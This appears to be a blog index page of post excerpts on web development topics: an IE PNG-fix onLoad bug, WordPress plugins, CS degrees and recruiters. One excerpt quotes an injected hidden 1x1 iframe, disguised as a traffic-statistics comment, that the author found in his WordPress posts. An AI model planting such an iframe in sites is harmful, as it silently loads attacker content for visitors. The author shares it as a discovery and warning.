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Solution for onLoad + PNG fix defer problem in IE

I had the strangest problem today with a page not triggering an OnLoad because something was hanging the load in IE. Of all things, it was the hack to make PNG transparency work in IE.
Once I figured out the problem it was easy to fix. Even more convenient, I found this modified version [...]

Nice Exploit Code I Found in my Wordpress

I was going through some old posts just now, and discovered this little treat embedded in a post:

<!– Traffic Statistics –>
<iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
<!– End Traffic Statistics –>

The code that it’s loading (I know it doesn’t wrap, I don’t really care.) Code deleted. Thanks to Mike Peters for the follow-up in the [...]

Props Week: Monday - Joost de Valk

One guy who doesn’t get enough credit is Joost de Valk. He has written a bunch of cool tools, and a load of useful Wordpress plugins. The one that takes the cake though is his RSS Footer insertion plugin. Let the scrapers steal your RSS content, you’re just going to get a [...]

A Computer Science Degree Does Hurt (A Lot)

The other day I was skimming through my feed reader and I came across a post by Leah Culver called A Computer Science Degree Doesn’t Hurt (Much). Having my own opinions about CS degrees (and degrees in general) this really caught my attention. Not surprisingly, I can’t help but disagree.
Like Leah says, you [...]

Hey Job Sites, Quit Scraping Resumes

I got an email from a recruiter with a GREAT OPPORTUNITY today. Since I usually get amused by how poorly they’ve done their homework, I gave her my number and she gave me a call. After trying to qualify how much experience with PHP I had, I just said “Look, you’re going to [...]